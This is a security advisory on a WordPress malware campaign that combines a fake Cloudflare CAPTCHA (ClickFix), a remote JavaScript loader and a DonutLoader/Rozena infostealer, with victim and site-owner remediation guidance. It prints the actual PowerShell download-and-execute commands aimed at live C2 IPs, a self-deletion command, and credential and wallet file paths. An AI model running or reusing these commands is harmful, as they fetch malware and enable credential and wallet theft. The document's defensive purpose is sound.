WordPress Multi-Implant Active Malware Campaign v2

ClickFix + DonutLoader + TR/Rozena.Gen — Full Kill Chain Analysis, Dynamic Sandbox Confirmation & Victim Guidance

Advisory ID	SL-ADV-2026-WP-001 rev.2
Published	May 2026
Updated	May 2026 — Dynamic sandbox analysis added
Severity	CRITICAL
Platform	WordPress (Divi / WooCommerce / Elementor Pro)
Sandbox Verdict	**DonutLoader · Score 100/100 · Confidence 100% (Joe Sandbox)**
Analyst	Abel Toth-Bartok — SecureLeaf Cybersecurity
Classification	**PUBLIC — Unrestricted Distribution**

1. Executive Summary

SecureLeaf has identified an active, multi-implant malware campaign targeting WordPress sites running Divi, WooCommerce, and/or Elementor Pro. Affected sites are serving two independent malicious payloads to every unauthenticated visitor. A cookie-based evasion mechanism makes the infection invisible to logged-in administrators and repeat visitors — it is only visible in fresh incognito sessions.

The campaign combines a remote JavaScript loader (Implant 1) that achieves arbitrary code execution in the visitor's browser, with a ClickFix social engineering overlay (Implant 2) that tricks Windows users into executing a fileless PowerShell payload. Dynamic sandbox analysis (Joe Sandbox, Score 100/100, Confidence 100%) has now confirmed the full kill chain: the PowerShell payload delivers **DonutLoader**, which compiles and injects **TR/Rozena.Gen** into system processes to steal browser credentials, session cookies, and cryptocurrency wallet data. A third component executes inside the WordPress admin dashboard and actively disables installed security scanners.

v2 Update: Dynamic sandbox execution has confirmed the complete post-click payload chain. The iex/irm PowerShell command is a DonutLoader dropper. It contacts two additional C2 servers (158.94.208.92 and 158.94.208.104) not identified in the initial static analysis. The final payload steals Firefox passwords, Chrome cookies, Chrome history, Electrum wallet keys, and Jaxx wallet data before injecting into svchost.exe and self-deleting.

Dimension	Assessment	Detail
Threat Level	CRITICAL	Active attack on live visitors — clipboard hijack and remote code injection
Scope	Site-wide	Every unauthenticated page load delivers malware
Persistence	HIGH	Injector hidden from WordPress admin panel (mu-plugin or theme)
Evasion	CRITICAL	Executes inside wp-admin and suppresses security tools — scan buttons removed from DOM
Impact	HIGH	Visitor clipboard compromise; potential credential/cookie theft

2. How Sites Get Infected — Root Cause Analysis

Two initial access vectors were identified in this campaign. Both are preventable with basic security hygiene:

Vector 1 — Nulled / Pirated Plugins (Primary)

Nulled (cracked) copies of commercial plugins such as Elementor Pro circulate freely on warez sites and Telegram channels. These copies are distributed pre-infected with web shells, remote access tools, and malware injectors. There is no CVE number for this vector — the backdoor is the product. Installing a nulled plugin is equivalent to giving an unknown third party administrative access to your server. Auto-updates are disabled in nulled copies, preventing legitimate security patches from applying.

Vector 2 — Unpatched Critical Plugin (CVE-2024-10924, CVSS 9.8)

Really Simple Security versions 9.5.3.x contain an unauthenticated privilege escalation vulnerability rated CVSS 9.8. This flaw was actively exploited in the wild within days of public disclosure. Sites running the unpatched version (fixed in 9.5.11) were compromised without any user interaction. If you are running any version below 9.5.11, update immediately.

3. Implant 1 — Remote JavaScript Loader

A malicious inline script is injected into every page served to unauthenticated visitors under the WordPress script handles `tji-mu-js` and `tji-theme-inline-js`. The same script block is repeated up to seven times per page. It contains only the malware payload — no legitimate content.

Mechanism of Action

> Three C2 domain strings are Base64-encoded inline and decoded at runtime via atob() to evade static scanners. A synchronous XMLHttpRequest is issued to the C2 server. If the server returns HTTP 200, the full response body is injected as a live <script> tag into document.head — achieving arbitrary remote code execution in the visitor's browser. A fallback chain cycles through two C2 domains to maximise delivery reliability.

Second-Stage Payload Characteristics

The payload retrieved from the C2 server is a 1.46 MB heavily obfuscated JavaScript file built with the commercial obfuscator.io toolkit:

`18,115-entry encoded string array`	RC4 + custom-Base64 with per-entry unique keys — resistant to automated deobfuscation
`Anti-sandbox kill switches`	Detects Node.js VM, absent DOM, and debuggers via timing attacks
`Active operations confirmed`	localStorage fingerprint persistence, navigator.userAgent device profiling, delayed execution
`Array rotation + self-defending IIFE`	Runs intentionally slowly to defeat sandbox analysis tools
`~350 nested wrapper functions`	27,506 obfuscated variable references with dead-code padding

Cookie-Based Evasion: The infection is invisible to site owners and returning visitors. The malware serves clean HTML to sessions with existing cookies and only attacks fresh / incognito sessions. This is why the site appears clean during routine admin checks but is actively attacking new visitors.

4. Implant 2 — ClickFix Social Engineering Overlay

A second, independently operating implant injects a full-screen overlay immediately before the closing </body> tag. The overlay is rendered using the Declarative Shadow DOM API (shadowrootmode="open"), making it inaccessible to standard DOM selectors and much harder to detect programmatically.

> **■ THE OVERLAY IS A PIXEL-PERFECT CLONE OF A CLOUDFLARE 'VERIFY YOU ARE HUMAN' CAPTCHA WIDGET — including animated spinner, checkbox UI, and Privacy/Terms links with full dark/light mode theming. It sits at the maximum possible z-index (2,147,483,647) and covers all page content. Assets are served from a burner domain designed to appear low-credibility.**

When a visitor clicks the fake CAPTCHA checkbox, a malicious command is written to the visitor's clipboard. The overlay then displays instructions to paste it — typically into a Windows Run dialog or PowerShell window. This technique is known as ClickFix.

5. ClickFix Clipboard Payload — Technical Analysis

The ClickFix overlay was observed delivering the following PowerShell payload to victim clipboards during active investigation:

```
# Payload as delivered to victim clipboard:
powershell "Write-Host(iex(irm(('178.'+ '16')+(' .52.'+ '232'))))2>$null"

# String concatenation resolved:
powershell "Write-Host(iex(irm('178.16.52.232')))2>$null"

# Functional breakdown:
irm = Invoke-RestMethod → downloads script from 178.16.52.232 (HTTP GET /)
iex = Invoke-Expression → executes downloaded content directly in memory
2>$null → suppresses all stderr output from victim view
```

Key Payload Characteristics

• **Fileless execution.** The downloaded script runs entirely in memory via Invoke-Expression — nothing is written to disk, leaving minimal forensic trace.

• **String concatenation obfuscation.** The C2 IP 178.16.52.232 is split across four string literals to defeat static string-matching in AV/EDR tools.

• **Active payload rotation.** The payload was observed changing during the investigation window, indicating a live operator or automated rotation system. The attacker adapts in real time.

• **No path specified.** irm hits the root of the C2 IP — the server serves the payload as its default HTTP response, a common bulletproof hosting configuration.

■ WINDOWS USERS AT HIGHEST RISK — Any Windows user who pasted this clipboard command into a Run dialog, PowerShell window, or browser address bar has executed an unknown remote script with full user privileges. The script content was not captured; it may install a RAT, ransomware dropper, credential stealer, or persistence mechanism.

6. C2 Infrastructure — Omegatech LTD (AS202412)

The ClickFix payload C2 server resolves to Omegatech LTD (ASN AS202412), a purpose-built bulletproof hosting network. Key intelligence:

• **Registered January 2026** — a purpose-built ASN with no legitimate use case.

• **67 confirmed C2 servers** on a single subnet spanning 16 malware families including Remcos RAT (6,562 documented instances), Amadey, and multiple credential stealers. (Source: Breakglass Intelligence, April 2026)

• **18 /24 netblocks** all announced through a known bulletproof hosting upstream. ASN-level blocking of AS202412 is recommended — there is no legitimate traffic on this ASN.

• **Registered in the Seychelles** specifically to avoid international law enforcement cooperation.

• **Abuse reports are ignored by design.** AbuseIPDB neighbors on this subnet show 1,000+ reports with 100% abuse confidence scores.

Effective reporting targets: AbuseIPDB (public record), Spamhaus DROP list (BGP blackhole propagation to major ISPs), and national cybercrime reporting bodies. The most impactful defensive action is blocking the entire AS202412 / 178.16.0.0/16 netblock at the network perimeter — there is zero legitimate traffic on this network.

5. Full Kill Chain — Dynamic Sandbox Confirmation

Automated dynamic analysis executed the campaign in a controlled Windows environment (Chrome, Windows 10, Joe Sandbox Analysis ID: 1912001). The sandbox confirmed a six-stage kill chain extending well beyond the initial clipboard hijack. The following describes what happens on a victim Windows machine after a user interacts with the ClickFix overlay.

Stage 1	**Drive-By via Browser** Chrome navigates to the infected page. The ClickFix fake CAPTCHA overlay fires, writes the obfuscated PowerShell command to the clipboard, and instructs the user to open the Windows Run dialog (Win+R), paste, and press Enter.

Stage 2	**Obfuscated PowerShell Execution (PID 7408)** PowerShell executes the pasted command. String concatenation reassembles the C2 IP at runtime to evade static AV matching. irm fetches a script from 178.16.52.232; iex executes it entirely in memory — nothing written to disk at this stage.
Stage 3	**Second-Stage Download (child PowerShell PID 4908)** A child PowerShell process spawned by Stage 2 contacts a second C2 server (158.94.208.92) and downloads the real payload. Two-stage delivery means burning the first C2 does not kill the campaign.
Stage 4	**C# Compilation + PE Injection** csc.exe (PID 7556) compiles malicious C# code in-place into tr0oowwq.dll (detected: TR/Rozena.Gen by Avira). PowerShell then injects a PE file into svchost.exe memory, writes to its regions, and spawns threads inside it. A second injection follows into chrome.exe for session hijacking.
Stage 5	**Payload Execution — Credential & Wallet Theft** The injected svchost.exe process performs the primary theft operations (detailed in the table below), then contacts a third C2 tier (158.94.208.104:80) confirmed by Suricata IDS alert: ETPRO MALWARE DonutLoader Requesting Additional Payload.
Stage 6	**Self-Deletion via Ping Delay** After execution the payload runs: cmd.exe /C ping 1.0.0.1 & del "C:\Windows\system32\svchost.exe" — the classic ping-delay trick to defer file deletion until after the process exits, covering forensic traces.

Confirmed PowerShell Commands (Sandbox Capture)

```
# Stage 2 — delivered via clipboard, executed via Win+R:
Write-Host(iex(irm(('178.'+'16')+('.52.'+'232'))))2>$null

# Stage 3 — executed by child PowerShell after Stage 2 fetches it:
Invoke-WebRequest -Uri "http://158.94.208.92" -UseBasicParsing
Invoke-Expression $checkResult.Content

# Stage 6 — self-deletion after payload execution:
cmd.exe /C ping 1.0.0.1 & del "C:\Windows\system32\svchost.exe"
```

Stage 5 Theft Targets — Confirmed by Sandbox File Access Logs

Target	Path Accessed	Data at Risk
Firefox	`%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\key4.db`	Saved passwords (master password database)
Chrome	`%LOCALAPPDATA%\Google\Chrome\User Data\Default\History`	Full browsing history
Chrome	`%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies`	Session cookies — live authenticated sessions for any logged-in site
Electrum	`%APPDATA%\Electrum\wallets\`	Cryptocurrency private keys / wallet files
Jaxx	`Jaxx wallet IndexedDB files`	Multi-coin wallet data

Anti-Analysis Techniques Confirmed

- **VM detection:** WMI queries for Win32_VideoController, Win32_ComputerSystem, and Win32_Processor — standard hypervisor fingerprinting.
- **Long sleeps:** Contains sleep intervals ≥3 minutes to outlast automated sandbox timeouts.
- **Suspended process creation:** Creates processes in suspended state for code injection before resuming.
- **Self-deletion:** ping-delay delete removes the injected binary after execution.
- **String obfuscation:** IP address split across four concatenated string literals to defeat static AV signatures.
- **Fileless execution:** Primary payload never touches disk — executes entirely via iex in memory.
- **Module proxying:** Unusual module load patterns detected, consistent with DLL proxying for persistence.

6. IOCs — Updated with Sandbox-Confirmed Indicators

All indicators below were confirmed through static analysis and/or dynamic sandbox execution. New indicators added in v2 are marked ★.

Indicator	Type	Description
`ntdnewtds.shop`	Domain (C2)	Primary JS C2 server — serves second-stage obfuscated JS payload
`dnsnewtds.shop`	Domain (C2)	Fallback JS C2 server
`ntdnewtds.shop/jsrepo?rnd=`	URL pattern	Endpoint for second-stage JS payload delivery (random float busts CDN cache)
`gettrumpmemestrendingtokens.com`	Domain (asset)	Asset host for ClickFix fake CAPTCHA overlay
`178.16.52.232`	IP (C2 S1)	Stage 1 PowerShell payload host — Omegatech LTD AS202412, Seychelles bulletproof hosting
★ `158.94.208.92`	IP (C2 S2)	Stage 2 payload host — delivers Rozena DLL to child PowerShell process (sandbox confirmed)
★ `158.94.208.104`	IP (C2 S3)	Stage 3 DonutLoader additional payload host — Suricata IDS confirmed (ETPRO 2867081)
`AS202412`	ASN	Omegatech LTD — entire ASN is criminal infrastructure; no legitimate traffic
★ `tr0oowwq.dll`	Dropped file	Compiled malicious DLL — C:\Users\\AppData\Local\Temp\tr0oowwq.dll
★ `TR/Rozena.Gen`	AV detection	Avira detection name for dropped DLL — infostealer / injector family
`window.__performance_optimizer_v6`	JS global	Execution flag set by Implant 1 to prevent double-firing per session
`tji-mu-js`	WP Script ID	WordPress script handle used by malware injector (×3 per page)

`tji-theme-inline-js`	WP Script ID	WordPress script handle used by malware injector (×4 per page)
`__app_root_overlay__`	CSS class	Root class of the ClickFix Shadow DOM overlay
`shadowrootmode="open"`	HTML attr	Declarative Shadow DOM used to conceal ClickFix overlay from DOM selectors
`aHR0cHM6Ly9udGRuZXd0ZHMuc2hvcA==`	Base64	Encoded primary JS C2 domain in malicious script
`aHR0cHM6Ly9kbnNuZXd0ZHMuc2hvcA==`	Base64	Encoded fallback JS C2 domain in malicious script
`L2pzcmVwbz9ybmQ9`	Base64	Encoded C2 endpoint path /jsrepo?rnd=

7. I Ran the PowerShell Command — What Now?

■ If you clicked a fake CAPTCHA checkbox on any website and then pasted a command into a Windows Run dialog (Win+R), PowerShell window, or browser address bar — your device should be considered compromised until proven otherwise.

Immediate steps to take:

1. Disconnect from the network

If you are on corporate/work infrastructure, disconnect from the network immediately and contact your IT/security team. Do not wait.

2. Do not reboot yet

A reboot may clear in-memory evidence. If you have access to endpoint security tools, run a scan before rebooting.

3. Run a full offline AV scan

Boot from a trusted USB antivirus rescue disk (e.g. Kaspersky Rescue Disk, ESET SysRescue, or Windows Defender Offline). In-OS scans may be compromised if a rootkit or persistence mechanism was installed.

4. Assume credentials are stolen

Change passwords for all accounts accessed from this device — email, banking, work systems, password managers. Use a different, clean device for this.

5. Enable MFA everywhere

If accounts do not have multi-factor authentication, enable it immediately from a clean device. This limits damage even if passwords are already stolen.

6. Check for persistence

The script may have installed scheduled tasks, startup entries, or registry run keys. If you are a technical user, review: Task Scheduler, HKCU/HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, and %APPDATA%\Roaming for unexpected executables.

7. Report the incident

Report to the Canadian Centre for Cyber Security (cyber.gc.ca) or the RCMP National Cybercrime Coordination Centre (nc3.rcmp-grc.gc.ca) if you are in Canada. US users should report to the FBI IC3 (ic3.gov).

8. Site Owner Remediation Guidance

■ DO NOT USE WP-ADMIN FOR REMEDIATION. The active payload executes inside the WordPress admin dashboard and suppresses security tools (Wordfence scan button confirmed removed from DOM). All remediation must be performed via SSH or hosting control panel file manager.

Phase 1 — Immediate Containment

• Take the site offline or redirect all traffic to a static maintenance page via your hosting panel — do not use a WordPress plugin for this.

• Confirm SSH access before proceeding. Contact your host to enable it if unavailable.

• Download a full backup of wp-content/, the database, and server logs before making any changes.

• Rotate all credentials: WordPress admin password, database password, FTP/SFTP credentials, hosting panel password, and SSH keys.

Phase 2 — Locate and Remove Injectors (SSH)

```
# Find Implant 1 source
grep -r 'performance_optimizer' wp-content/ --include='*.php' -l
grep -r 'tji-theme-inline|tji-mu-js' wp-content/ --include='*.php' -l

# Find Implant 2 source (ClickFix)
grep -r 'gettrumpmemes|__app_root_overlay__|shadowrootmode' wp-content/ --include='*.php'
-l

# Broad obfuscated backdoor sweep
grep -rn 'base64_decode|str_rot13|eval(' wp-content/ --include='*.php' -l

# Check mu-plugins (hidden from WP admin)
ls -la wp-content/mu-plugins/

# Database check
SELECT option_name FROM wp_options WHERE option_value LIKE '%performance_optimizer%';
SELECT option_name FROM wp_options WHERE option_value LIKE '%gettrumpmemes%';
```

Phase 3 — Clean Installation

• **Remove nulled/pirated plugins entirely** — delete the files via FTP/SFTP, do not just deactivate. Replace with legitimately licensed copies.

• **Update Really Simple Security to 9.5.11+** immediately — CVE-2024-10924.

• **Update all remaining plugins** via FTP (not WP admin while compromised).

• **Regenerate wp-config.php secret keys** at api.wordpress.org/secret-key/1.1/salt/ — invalidates all existing sessions.

• **Run Wordfence full scan** via WP-CLI: wp wordfence scan --type=full

Phase 4 — Verification

```
# Verify clean state from a separate machine
curl -s https://yoursite.example | grep -c 'performance_optimizer'
# Should return 0 after successful remediation

# Test with and without cookies; always test in incognito
# The infection targets non-cookie sessions specifically
```

9. Long-Term Security Hardening

CRITICAL	**Never use nulled/cracked plugins**	Purchase legitimate licenses. Nulled plugins are the #1 WordPress infection vector. The cost of a license is trivial compared to incident response costs.
HIGH	**Enforce automatic plugin updates**	CVE-2024-10924 had an active exploit in the wild within days of disclosure. Enable auto-updates or implement a weekly manual update schedule.
HIGH	**Restrict wp-admin access by IP**	Whitelist your office/home IP at the server level. Eliminates an entire category of brute-force and credential-stuffing attacks.
HIGH	**Enable two-factor authentication**	Enable 2FA for all administrator accounts. Really Simple Security or Wordfence both provide this functionality.
HIGH	**Implement a Web Application Firewall**	Cloudflare Free or Wordfence Premium provide WAF rules that block known exploit patterns before they reach WordPress.
MEDIUM	**Regular offsite backups**	Daily automated backups to an offsite location (not the same server). Confirm restore procedure works before you need it.
MEDIUM	**File integrity monitoring**	Wordfence file change alerts or a cron job hashing wp-content/ daily will flag new malicious files within 24 hours of injection.
MEDIUM	**Remove unused plugins**	Each installed plugin — even deactivated — is an attack surface. Remove anything not actively in use.

10. Disclosure Obligations

Site operators whose WooCommerce or contact-form data may have been exposed during an active infection window should be aware of applicable privacy law notification requirements:

• **PIPEDA (federal, Canada):** If there is a "real risk of significant harm" to individuals, the Office of the Privacy Commissioner of Canada must be notified and affected individuals contacted. WooCommerce order/payment data qualifies.

• **Quebec Law 25 (Bill 64):** If any Quebec residents are customers, the Commission d'accès à l'information must be notified within 72 hours of becoming aware of a breach involving personal information.

• **GDPR (EU/UK):** If the site serves EU or UK residents, notification to the relevant supervisory authority is required within 72 hours.

SecureLeaf recommends consulting with a privacy lawyer before determining whether notification is required. This advisory can serve as supporting technical documentation.

SecureLeaf Cybersecurity · secureleaf.dispensight.com · Surrey, British Columbia, Canada
Advisory SL-ADV-2026-WP-001 rev.2 · Published May 2026 · Classification: PUBLIC — Unrestricted Distribution